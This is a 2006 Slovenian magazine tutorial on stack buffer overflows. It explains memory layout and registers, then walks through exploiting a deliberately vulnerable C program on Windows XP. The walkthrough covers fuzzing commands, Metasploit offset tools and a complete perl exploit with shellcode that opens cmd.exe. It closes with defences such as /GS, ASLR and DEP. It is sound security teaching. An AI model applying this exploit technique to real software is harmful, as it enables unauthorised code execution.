Objavljeno: 30.11.2006 14:34 | Avtor: Edi Strosar | Monitor November 2006

Sveti hekerski gral - prekoračitev medpomnilnika

Novembra 1988 je takrat 23-letni Robert Morris napisal črva (pozneje imenovanega "Morris worm"), ki je napadal operacijske sisteme VAX in Sun. Po nekaterih podatkih je onemogočil delovanje približno 10 % takratnega interneta. Julija 2001 je črv "Code Red" kompromitiral nekaj čez 300.000 sistemov, ki so uporabljali Microsoftov spletni strežnik IIS. Januarja 2003 je črv "Slammer", ki je izkoristil ranljivost Microsoft SQL Serverja 2000, v nekaterih azijskih državah skoraj popolnoma onemogočil delovanje interneta, poslovanje terminalov POS in bankomatov. Naštevali bi lahko v nedogled: Blaster, Code Red II, L10n, Sadmind, Sasser, Zotob, Witty, Welchia... Vsi ti napadi in nešteti drugi imajo skupni imenovalec - prekoračitev medpomnilnika (angl. buffer overflow).

Takole je v šestnajstiški obliki videti koda črva Code Red.

Prekoračitev medpomnilnika je splošen izraz, ki označuje tako prekoračitev v skladu (stack) kakor kopici (heap). Konkretno bo v članku govor o prekoračitvah v skladu. Prekoračitev sklada (stack overflow) je eden izmed najbolje dokumentiranih in učinkovitih načinov kompromitiranja programske opreme. Največkrat omenjeni in prvi javno objavljeni dokument o ranljivosti s prekoračitvijo sklada je "Smashing the stack for fun and profit", ki ga je leta 1996 napisal znani heker Aleph One. Dokument je postavil nove standarde napadom na programsko opremo. Vendar napadov s preseganjem medpomnilnika ni odkril Aleph One. Poznamo jih že najmanj 25 let. Čeprav je bilo napisanih na desetine, če ne na stotine dokumentov o tehnikah in metodah takih napadov, so ti še vedno primarna referenca glede odkrivanja novih razpok v sistemu varnosti. Le poglejmo poljubno novičarsko listo o računalniški varnosti; na njej je vedno objavljena najmanj ena ranljivost prekoračitve sklada.

Teorija

Vsi programi na začetku zasedejo (alocirajo) določen del pomnilnika, kamor med delovanjem shranjujejo podatke. Najbolj značilna oblika takega (med)pomnilnika je polje (array). Polje je niz elementov enakega podatkovnega tipa in je lahko dinamično ali statično, odvisno od deklaracije v programski kodi. Prekoračitev medpomnilnika nastane, ko je količina vnesenih podatkov večja od alociranega pomnilnika. Ključna "krivca" za to, da se kaj takega sploh lahko zgodi, sta površnost programerjev in omejenost programskega jezika. Za take napade sta najbolj dovzetna C/C++, saj ne omogočata avtomatskega preverjanja količine vnesenih podatkov (t. i. bounds checking). Ranljive so na splošno vse C/C++ funkcije za upravljanje s pomnilniškimi segmenti. Po drugi strani sta java in C# povsem imuna za medpomnilniške prekoračitve, saj uporabljata t. i. navidezne stroje (virtual machine) - Java Virtual Machine in .NET. Programi, napisani v java/C#, se ne prevedejo v domorodno strojno kodo, ki je specifična za določeni procesor, temveč v "java bytecode" oz. "Microsoft Intermediate Language (MSIL)", ta pa se nato izvaja v navideznem stroju in ne v procesorju/pomnilniku.

Če hočemo razumeti koncept prekoračitve sklada, moramo najprej poznati osnove delovanja pomnilnika in procesov, ki se izvajajo v njem. Ne glede na velikost fizičnega pomnilnika (RAM) je v 32-bitni arhitekturi možnih 2^32 ali 4.294.967.269 pomnilniških lokacij.

Vsi sodobni operacijski sistemi in programi fizični pomnilnik vedno naslavljajo prek virtualnega pomnilnika. Le nekateri vitalni deli jedra (kernel) naslavljajo fizični pomnilnik neposredno. Vedno, ko ustvarimo nov proces, poženemo nov program, operacijski sistem oz. jedro prek mehanizma navideznega pomnilnika (Virtual Memory) oziroma naslavljanja virtualnega pomnilnika (Virtual Memory Addressing) procesu dodeli del fizičnega pomnilnika, imenovan navidezni naslovni prostor (Virtual Address Space). Če želi proces ta pomnilnik uporabljati, mora najprej navidezni pomnilniški naslov konvertirati v fizični pomnilniški naslov in nasprotno: če želi OS oz. jedro dostop do virtualnega naslova procesa, mora najprej fizični naslov spremeniti v navidezni. To nalogo opravlja procesor ali, natančneje, del, imenovan enota za upravljanje pomnilnika (Memory Management Unit).

Na splošno se navidezni naslovni prostor deli na jedrni del (Ring 0) in uporabniški del (Ring 3). Vsi uporabniški procesi (tudi root, Administrator in SYSTEM) delujejo v Ring 3 in imajo do Ring 0 dostop le posredno prek sistemskih klicev.

Velja omeniti, da se izraz navidezni pomnilnik velikokrat napačno enači z izmenjevalno datoteko (page/swap file). Ne glede na enako ime sta njuni funkciji bistveno različni.

Oglejmo si tipično sliko nekega procesa v pomnilniku:

višji naslov (VAS)

 

 

 

 

 

 

 

 

 

 

 

nižji naslov (VAS)

spremenljivke args in env

sklad (stack)

 

trenutno prosti pomnilnik

?

kopica (heap)

.bss

neinicializirani podatkovni segment

.data

inicializirani podatkovni segment

.text

programski ukazi v strojnem jeziku

Najpomembnejša segmenta sta vsekakor kopica (heap) in sklad (stack). Sklad je tipa LIFO (Last-In, First-Out). To pomeni, da bo zadnji podatek, ki je bil vnesen v sklad, tudi prvi, ki se bo odstranil. Sklad lahko manipuliramo z ukazi push in pop. Push vnese podatke v sklad, pop odstrani podatke iz sklada. Zelo pomembna lastnost sklada je, da se širi navzdol, torej od večjega pomnilniškega naslova proti manjšemu. Sklad se uporablja za kratkotrajno shranjevanje podatkov, pomembnih za delovanje programa. Zgrajen je iz t. i. okvirov sklada (stack frames ali activation records). Vsak okvir predstavlja parametre posamezne funkcije. V pomnilniku je lahko več različnih in med seboj neodvisnih skladov hkrati, vendar je le eden med njimi dejaven.

višji naslov (VAS)

 

 

 

 

 

 

 

nižji naslov (VAS)

ESP - Extended Stack Pointer

? ESP kaže na vrh sklada

 

spremenljivke funkcije

 

?

EIP - Extended Instruction Pointer

? povratni naslov (Return Address)

EBP - Extended Base Pointer

? EBP kaže na dno sklada

 

sklad

argumenti funkcije

 


(Okvir sklada oz. stack frame je obarvan rumeno)

Kopica je, po drugi strani, tipa FIFO (First-In, First-Out) in je najbolj dinamična izmed vseh pomnilniških segmentov. Upravljamo jo lahko s funkcijami malloc()/free() v Cju ter operatorji new/delete v C++. Uporablja se za dinamično alokacijo pomnilnika v primerih, ko program med izvajanjem zahteva dodaten pomnilnik za nemoteno delovanje. Prekoračitve so izvedljive na vseh pomnilniških segmentih, razen .text.

Kazalci (Pointers) so specifične štiribajtne spremenljivke, ki vsebujejo naslove pomnilniških lokacij. Najlaže si jih predstavljamo kot "kažipot", ki procesorju pove, kje najde iskane podatke. Nadvse pomembna sta kazalca podatkov (data pointers) ESP in EBP ter ukazni kazalec (instruction pointer) EIP. ESP in EBP sta sicer generična registra, vendar se najpogosteje uporabljata kot kazalca za vrh (ESP) in dno (EBP) sklada. EIP (Extended Instruction Pointer) je specifičen nadzorni register, ki se uporablja kot kazalec do pomnilniške lokacije, kjer se bo izvedel naslednji ukaz. Ali drugače, EIP vsebuje povratni naslov (RET - Return Address), ki določa, kje naj se nadaljuje izvajanje programa, ko trenutna funkcija opravi svojo nalogo. RET je torej odgovoren za nemoten potek izvajanja programa (execution flow). Pri napadih s preseganjem medpomnilnika v skladu je EIP pot do svetega grala. Ko hekerju enkrat uspe nadzorovano spreminjati in nadzirati EIP, ima le še korak do cilja...

Večina sodobnih operacijskih sistemov ima štiri različne oblike pomnilnika: procesorske registre, procesorski predpomnilnik (cache), pomnilnik RAM (fizični pomnilnik) in že omenjeno izmenjevalno (page/swap) datoteko. Registri so zelo majhni, notranji procesorski pomnilniški segmenti, ki igrajo pomembno vlogo pri preseganju medpomnilnika. So na vrhu pomnilniške hierarhije, saj procesorju omogočajo najhitrejši in najlažji dostop do podatkov. Trenutna izvedba Intelove arhitekture procesorjev IA-32 vsebuje osem generičnih 32-bitnih registrov. V resnici je vseh registrov več, vendar je, razen generičnih, njihova funkcionalnost specifična in omejena. Poznamo naslednje generične 32-bitne registre: EAX - Extended Accumulator, EBX - Extended Base, ECX - Extended Count, EDX - Extended Data, ESI - Extended Source Index, EDI - Extended Destination Index in že prej omenjena EBP - Extended Base Pointer in ESP - Extended Stack Pointer. Poleg 32-bitnih (t. i. DWord) registrov, prepoznavnih po začetnici E (Extended), velja omeniti tudi njihove 16-bitne (Word) in 8-bitne (Byte) različice.

Registri arhitekture IA-32

Različne računalniške arhitekture prikazujejo večbajtne (multi-byte) nize, shranjene v pomnilniku na dva različna načina, imenovana little-endian in big-endian. Metodi določata vrstni red, po katerem je sekvenca zlogov predstavljena v pomnilniku. Pri little-endianu so najprej izpisani manj pomembni zlogi, big-endian pa določa, da so najprej prikazani pomembnejši zlogi. Poglejmo naslednji šestnajstiški niz: 1A2B3C4D. V little-endianu bo vrstni red tak: 4D3C2B1A, v big-endianu pa bo nespremenjen, torej: 1A2B3C4D. Arhitektura x86 (Intel/AMD) uporablja little-endian. Kot zanimivost, procesor PowerPC je bi-endian, torej prepozna obe metodi.

Praksa

Čeprav je koncept enak, so med zlorabo sklada v Linuxu in Oknih nekatere bistvene razlike. Linux za razliko od Windows omogoča neposredno komuniciranje z jedrom prek prekinitve (interrupt) int 0x80. V Oknih za vmesnik pri komunikaciji z jedrom rabijo dinamične knjižnice DLL (Dynamic Link Library) oziroma, natančneje, naslovi funkcij/operacij v teh knjižnicah. Medtem ko so številčne oznake prekinitev v Linuxu konstantne, so naslovi funkcij z vsako novejšo izdajo Oken spremenjeni. Da je zmeda še večja, Microsoft poskrbi, da se ti naslovi spremenijo tudi z vsakim servisnim paketom ali večjim popravkom. Preprosto povedano, naš "vdor" najverjetneje ne bo deloval na "sorodni" različici Oken. Seveda so tudi (redki) t. i. univerzalni naslovi, ki so konstantni prek več jezikovnih različic, stopenj servisnih popravkov in okenskih različic.

Naslednja pomembna razlika je naslov sklada v pomnilniku. V Linuxu ima ta dokaj visok naslov, npr: 0x72103443, v Oknih pa je sklad precej nizko, denimo 0x00403343. Posledica tega je težava, imenovana terminacija z nultim zlogom (null-termination byte). Pri napadih s prekoračitvijo medpomnilnika namreč vedno uporabljamo metodo, imenovano vstavljanje lupinske kode (shellcode injection). Termin lupinska koda je torej komplet ukazov, ki so vstavljeni in nato izvedeni prek kompromitiranega programa. Najpogosteje uporabljena oblika lupinske kode je izvedba ukazne vrstice s skrbniškimi privilegiji ali t. i. sistemska lupina (rootshell). Odličen generator lupinske kode za različne operacijske sisteme in platforme dobimo na http://metasploit.com:55555/PAYLOADS. Pri vstavljanju lupinske kode moramo biti pozorni na vrstni red little-endian, ki je običajen za arhitekturo IA-32. Naslov 0x00403343 se tako spremeni v 0x43334000, zaključni bajt 0x00 pa spada med t. i. nedovoljene zloge, saj v Cju najpogosteje označuje konec niza. Poskus vstavljanja omenjenega naslova bi se torej končal z napako pri izvajanju programa. Seveda so iznajdljivi hekerji hitro odkrili številne načine, kako zaobiti take in drugačne težave. Prav zaradi omenjenih tegob se je uveljavilo mnenje, da je (predvsem začetnikom) laže izvesti prekoračitev sklada v okolju Linux. Mi bomo to seveda poskusili v Oknih...

Potrebovali bomo naslednje: iskalnik napak (debugger), prevajalnik, programski jezik perl in orodje Metasploit Framework. Velja omeniti, da novejši Microsoftovi prevajalniki (Microsoft Visual Studio 2005, Microsoft C++ 2005, Microsoft C++ .Net...) pri prevajanju privzeto uporabljajo stikalo /GS za zaščito sklada, ki nekoliko otežuje (vendar ne tudi preprečuje) prekoračitve medpomnilnika. Če na hitro poenostavimo - stikalo /GS deluje po načelu t. i. piškotka (stack cookie), ki se vsidra med povratni naslov in medpomnilnik. V primeru prepisovanja sklada se tako prepiše tudi piškotek in to sproži takojšnjo "ugasnitev" procesa. Če naš prevajalnik privzeto uporablja /GS, pri prevajanju spodnjih primerov uporabimo stikalo /GS- .

Več informacij:

http://msdn2.microsoft.com/en-us/library/8dbf701c.aspx.

Oglejmo si prvi primer ranljivega testnega programa:

/* test.c */

/* prevedemo z cl [/GS-] test.c ali gcc -o test test.c */

#include <stdio.h>

#include <string.h>

int main(int argc, char *argv[])

{

char buffer[512]; //medpomnilnik

sprintf(buffer,argv[1]); //ranljiva funkcija

return 0;

}

Program test, ki smo ga dobili s tem, le sprejema vnos prek stdin (standardna vhodna enota, tipkovnica), nato pa ga v obliki niza prek ranljive funkcije sprintf() prepiše v polje/buffer. Kot "hekerji", ki želimo odkriti, ali je ta program ranljiv in kako, moramo najprej odkriti količino podatkov, ki jo potrebujemo, da povzročimo sesutje programa. Za to bomo uporabili tehniko, imenovano fuzzing ali fault injection. Fuzzing je metoda preizkušanja odpornosti proti vnosnim (input) parametrom v programski opremi. Preden se lotimo preizkusa, moramo imeti nameščen Microsoftov razhroščevalnik WinDbg (debugger). WinDbg je grafični razhroščevalnik, ki sta mu priloženi ukazni različici: ntsd in cdb. Edina razlika med njima je, da se ntsd odpre v novem oknu. Lahko uporabimo tudi alternativni OllyDbg, ki pa mora biti nastavljen kot razhroščevalnik JIT (Just-in-time). To storimo na menuju "Options / Just-in-time debugging" in kliknemo "Make OllyDbg just-in-time debugger". Odslej se nam bo v primeru sesutja programa privzeto zagnal OllyDbg. Preizkus lahko izvedemo ročno, vendar je priporočljivo, da si postopek (vsaj delno) avtomatiziramo. V pomoč nam bo programski jezik perl. Vpišemo naslednji ukaz:

perl -e "exec 'c:\\windbg\\ntsd.exe', '-g', '-G', 'test', ("A" x 300)"

V razhroščevalniku smo torej pognali naš programček test in mu kot parameter ponudili tristo znakov A. Količino vnesenih podatkov, torej znakov A, enakomerno povečujemo za 100. Ob ukazu

perl -e "exec 'c:\\windbg\\ntsd.exe', '-g', '-G', 'test', ("A" x 600)"

oziroma ko je Ajev 600, se program zruši, odpre pa se okno razhroščevalnika WinDbg.

Postopek iskanja dejanske meje (fuzzing) nadaljujemo, dokler ne odkrijemo največje količine podatkov, ki jih lahko dejansko še vnesemo v sklad. Čim večja bo ta vrednost, tem bolje bo, saj bomo imeli več prostora za vstavitev lastne kode oz. lupinske kode. V našem primeru se izkaže, da je končni rezultat oz. manevrirni prostor (control space) natanko 631 zlogov. Z vnosom 632 znakov (in več) vrednost EIP in EBP ni več 0x41414141, saj smo prekoračili okvir sklada in začeli prepisovati naslednji segment medpomnilnika, konkretno argumente funkcije sprintf().

Zavedati se moramo, da je "fault injection" ali "fuzzing" sistematični postopek. Pri preizkušanju je zelo pomembno, da vnesena količina podatkov ni prevelika (priporočljivo je začeti z manjšo količino in jo nato enakomerno povečevati), saj se v nasprotnem program morda ne bo zrušil. To postane nadležno, kadar uporabljamo razhroščevalnik OllyDbg. Z njim naš testni program brez težav "sesujemo" z vnosom 550 zlogov, vendar ne tudi z vnosom 600 zlogov. Nadzor nad defektnim procesom namreč prevzame mehanizem SEH (Structured Exception Handling), ki skrbi za upravljanje napak ali izjem (exceptions) med izvajanjem programa. Program se dejansko še vedno sesuje, a ne na način, ki bi nam ustrezal. Pomembno vlogo tu odigra način uporabe razhroščevalnika. OllyDbg je definiran kot JIT. To poenostavljeno pomeni, da se pojavi šele ob sesutju programa, medtem ko se v primeru ntsd program dejansko izvaja v razhroščevalniku.

Rezultat preizkusa oziroma iskanja mej medpomnilnika

Kot je razvidno (slika 2), smo register EIP prepisali s šestnajstiško vrednostjo 0x41414141. Šestnajstiško število 0x41 namreč predstavlja ASCII znak A. Program seveda želi nadaljevati izvajanje na lokaciji 0x41414141, kakor je definirano v registru EIP, ker pa je povratni naslov neveljaven, se aplikacija preprosto zruši. Za prevzem nadzora nad programom moramo v EIP vnesti pravo vrednost, ki bo preusmerila izvajanje programa na mesto, kjer je naš ključni, "zlobni" del kode. Najprej pa moramo natančno določiti lokacijo ključnih štirih znakov A (AAAA), ki so v resnici prepisali EIP. Tokrat nam bo v pomoč Metasploit Framework, ki je odlično orodje za odkrivanje in preizkušanje ranljivosti v programski opremi. Uporabili bomo perlov modul Pex, ki naredi poljubno dolg niz med seboj različnih znakov ASCII. Vpišemo ukaz:

perl -e "use Pex; print Pex::Text::PatternCreate(631)

izhodni niz pa prilepimo v naslednji perlovski skript:

# RET_lokacija.pl

exec('c:\\windbg\\cdb.exe', '-g', '-G', 'test', ("Tukaj prilepimo izhodni Pex niz"));

Register EIP, prepisan z nizom Pex

EIP ima zdaj vrednost 0x35724134 (slika 3), kar je enako ASCII nizu 5rA4 (WinDbg privzeto prikazuje big-endian) oziroma 4Ar5 (little-endian). Ko poznamo vrednost naslova EIP, lahko poiščemo njegov odmik (offset). Odmik ali relativni naslov (predstavlja odklon od registra ESP oziroma vrha sklada) najenostavneje dobimo tako, da preštejemo vse znake v nizu Pex do 4Ar5. Veliko laže in bolj elegantno pa je, da spet uporabimo Metasploit Framework in njegovo orodje patternOffset.pl in z njim izvedemo naslednji ukaz:

perl patternOffset.pl 0x35724134 631

Izkaže se, da je naš odmik 524 zlogov. To pomeni, da moramo pred štiri zloge, ki bodo prepisali kazalec EIP, vstaviti 524 zlogov polnila. V naslednjem koraku izberemo vektor nadzora (control vector). Dva najpogosteje uporabljena vektorja nadzora sta: neposredni (Return-to-stack) in posredni (Return to DLL). Pri neposrednem vektorju EIP vsebuje pomnilniški naslov lokacije v skladu, kjer je naša lupinska koda. Takoj postane očitno, da je tu odmik (offset) nadvse pomemben. Na žalost t. i. osnovni naslov (naslov, ki rabi kot referenca pri izračunu pomnilniških naslovov) okenskega sklada ni tako enostavno predvidljiv kakor v okolju Linux (no, od jedra 2.4.x to tudi za Linux ne drži več), zato uporaba neposrednega vektorja na platformi Windows ni zanesljiva. Preostane nam torej, da uporabimo posredni vektor. Uporaba dinamične knjižnice (DLL) kot "odskočne deske" je najpogostejši in najpreprostejši način izrabe prekoračitve medpomnilnika v Oknih. Dinamične knjižnice (DLL) se namreč v Oknih vedno naložijo na predefiniran osnovni naslov (kakor smo že omenili, se le-ta sicer spreminja z vsakim servisnim popravkom ter med različnimi različicami Oken), še pomembnejše pa je to, da sta v vsakem trenutku v vseh Oknih v pomnilniku naloženi vsaj dve dinamični knjižnici. Ti sta ntdll.dll in kernel32.dll. To nam precej olajša iskanje specifičnih ukazov v pomnilniku.

Pregled vsebine registrov z razhroščevalnikom OllyDbg

V naslednjem koraku torej poiščemo register, ki prikazuje poljubno vrednost v našem nizu Pex, torej v skladu. Iz pregleda registrov OllyDbg (slika 4) vidimo, da register ESP kaže na vsebino našega medpomnilnika. Preostane nam le, da v pomnilniku naloženi dinamični knjižnici poiščemo specifičen ukaz (v našem primeru je to lahko call esp ali jmp esp). S tem smo dobili najpomembnejšo komponento uspešne prekoračitve medpomnilnika - veljaven povratni naslov (return address) ali RET. V našem primeru ima vrednost 0x7c941eed. Na tej lokaciji je ukaz jmp esp ("pojdi na naslov kazalca ESP"), ESP pa je v ranljivem medpomnilniku pod našim nadzorom. In smo zmagali....

Pri iskanju specifičnih ukazov (oz. našega bodočega naslova RET) v pomnilniškem prostoru prek naloženih dinamičnih knjižnic si lahko pomagamo z orodjem msfpescan, ki je del Metasploit Frameworka, ali findjmp2 (konkretno smo uporabili ukaz findjmp2 ntdll.dll esp), vendar je enostavneje, če preprosto odjadramo na spletno stran Metasploit Opcode Database in vnesemo želene iskalne parametere. Metasplot Opcode Database obsega trenutno skoraj 14 milijonov prekalkuliranih RET pomnilniških naslovov za 320 različnih opcode instrukcij v nekaj več kot 19.000 različnih modulih (.exe in .dll).

S programčkom findjmp2 poiščemo, na katerem naslovu je v izbrani naloženi knjižnici DLL določen strojni ukaz.

Namesto findjmp2 lahko za iskanje enostavneje uporabimo kar spletno stran Metasploit Opcode Database.

Na splošno potrebujemo za uspešno dokončanje zvijače še dve komponenti: nopniz (nopsled) in že omenjeno lupinsko kodo. Nopniz je zaporedje ukazov nop (no operation), ki jih šestnajstiško zapišemo kot 0x90. Ko procesor naleti na omenjeno navodilo, ne izvede nobene operacije, temveč preprosto nadaljuje z naslednjim ukazom. Namen nopniza je očiten: večja prilagodljivost naslova RET. Ne glede na to, kje v medpomnilniku pristanemo (če smo, na primer, uporabili neposredni vektor in nismo imeli sreče pri izračunu odmika), bomo prek nopniza vedno prišli do naslova, na katerem se začne izvajanje lupinske kode. V našem primeru nopniza dejansko ne potrebujemo, vendar je njegova raba sicer uveljavljena praksa.

Ker je realni manevrirni prostor v našem primeru omejen na le 103 zloge, bomo uporabili modificirano lupinsko kodo. V realnem napadu bi bil naš zlobni del kode praktično neuporaben. Hekerji v primeru omejenega manevrirnega prostora sicer uporabljajo tehniko, imenovano nivojska lupinska koda (stage shellcode). Naša 34-bajtna lupinska koda bo s funkcijo API WinExec() pognala ukazni poziv (cmd.exe). Lokacijo WinExec() najdemo z uporabo orodja arwin (v ukazno vrstico vnesemo: arwin kernel32 WinExec). Iskani naslov je 0x7c86136d. Končna slika našega t. i. vektorja napada (attack vector) bo torej videti takole:

NOP

(0x90)

520 bajtov

EBP

(0x41)

4 bajti

RET

(0x7c941eed)

4 bajti

Shellcode

 

34 bajtov

NOP

(0x90)

69 bajtov

skupaj

 

631 bajtov

Končni programček pa takole:

# exploit.pl

# jmp esp naslov v ntdll.dll (RET)

my $return_address = "\xed\x1e\x94\x7c";

my $nop_before = "\x90" x 520;

my $nop_after = "\x90" x 69;

# lupinska koda (shellcode)

my $shellcode =

"\x55\x8B\xEC\x33\xFF\x57\xC6".

"\x45\xFC\x63\xC6\x45\xFD\x6D".

"\xC6\x45\xFE\x64\x57\xC6\x45".

"\xF8\x01\x8D\x45\xFC\x50\xB8".

"\x6D\x13\x86\x7C". ## WinExec() naslov

"\xFF\xD0";

# prepiše EBP z AAAA (zgolj zaradi testiranja)

my $test_funct = "\x41\x41\x41\x41";

my $payload = $nop_before.$test_funct.$return_address.$shellcode.$nop_after;

exec 'test', $payload

# payload(skupaj) = 631 bajtov

Program v Windows XP SP2 preizkušeno odpre ukazno vrstico CMD.EXE... Kot rečeno, naslova RET in WinExec() se lahko razlikujeta od tule uporabljenih, pač glede na različico operacijskega sistema in stopnjo varnostnega popravka. Oba naslova sta zapisana v formatu little-endian.

Zaščita

Strokovnjaki za računalniško varnost napovedujejo, da bodo v nekaj letih vse ranljivosti, ki so zasnovane na izvajanju "nedovoljene" kode, stvar preteklosti. Zaenkrat pa so prekoračitve medpomnilnika (še vedno) zelo stvar sedanjosti. Na srečo so bile odkrite številne metode, s katerimi lahko delno preprečimo ali vsaj otežimo napade s prepisovanjem medpomnilnika. K najosnovnejšim pristopom vsekakor spada uporaba varnih knjižnic in funkcij v programskih jezikih C/C++. Najpogosteje omenjeni sta funkciji OpenBSDjevi za upravljanje nizov strlcpy() in strlcat() ter knjižnica libsafe.

Na višji ravni pa se zaščita deli v tri razrede:

- zaščita pred razbijanjem sklada (stack-smashing protection),

- zaščita izvršilnega prostora (executable space protection),

- randomizacija postavitve naslovnega prostora (address space layout randomization).

Zaščita pred razbijanjem sklada deluje po načelu piškotka (stack-cookie), ki se vsidra v okvir sklada. V primeru prepisovanja medpomnilnika se tako prepiše tudi piškotek. V to kategorijo lahko prištejemo privzeto stikalo /GS v novejših Microsoftovih prevajalnikih, pa tudi razne implementacije prevajalnika gcc (stack-smashing protection/ProPolice, StackGuard in StackShield). Slabost te zaščite je, da je specifična in nas torej ne more zaščititi pred prekoračitvami na drugih segmentih pomnilnika, npr. kopici.

Randomizacija postavitve naslovnega prostora (t. i. ASLR) sistemskim knjižnicam, izvršilnim datotekam in nekaterim segmentom pomnilnika naključno dodeljuje pomnilniške naslove. Oglejmo si, kako to deluje: v našem primeru je imel naslov WinExec() vrednost 0x7c86136d. V primeru uporabe ASLR bi ta funkcija (in vse druge ključne sistemske komponente) lahko imela najmanj 256 različnih vrednosti ali, poenostavljeno, ob naslednjem zagonu sistema bi bila lokacija funkcije drugačna. Uporaba posrednega kontrolnega vektorja (Return-to-DLL) je v tem primeru zelo otežena. Zaščita ASLR bo privzeta v prihajajočem operacijskem sistemu Windows Vista, že zdaj pa lahko preizkusimo funkcionalnost ASLR v programih WehnTrust (Windows), PaX (Linux) in ExecShield (Linux).

Eden od programov, ki že danes omogoča randomizacijo postavitve naslovnega prostora, je WehnTrust.

Zaščita izvršilnega prostora je označevanje pomnilniških segmentov (predvsem sklada in kopice) kot neizvršljivih (non-executable). Izvajanje strojne kode na omenjenih segmentih je tako onemogočeno. Znani sta dve obliki NX bit (No eXecute) zaščite: strojna (NX ali DX) in programska (Microsoft DEP, OpenBSD W^X, ExecShield, PaX, Openwall Linux Kernel Patch). Strojna različica je izvedena le v nekaterih modelih procesorjev. Intel je svojo različico zaščite NX poimenoval XD (eXecute Disable).

Povezave:

www.ollydbg.de

www.mingw.org

www.activestate.com/Products/ActivePerl

www.metasploit.org/framework

insecure.org/stf/smashstack.txt

www.vividmachines.com/shellcode/arwin.c

packetstorm.linuxsecurity.com/UNIX/misc/findjmp2.c

www.metasploit.com/users/opcode/msfopcode.cgi

www.microsoft.com/whdc/devtools/debugging/installx86.mspx

Programčke in skripte, omenjene v tem prispevku, dobite na:

www.monitor.si/11_vdori

Naroči se na redna tedenska ali mesečna obvestila o novih prispevkih na naši spletni strani!

Komentirajo lahko le prijavljeni uporabniki

 
  • Polja označena z * je potrebno obvezno izpolniti
  • Pošlji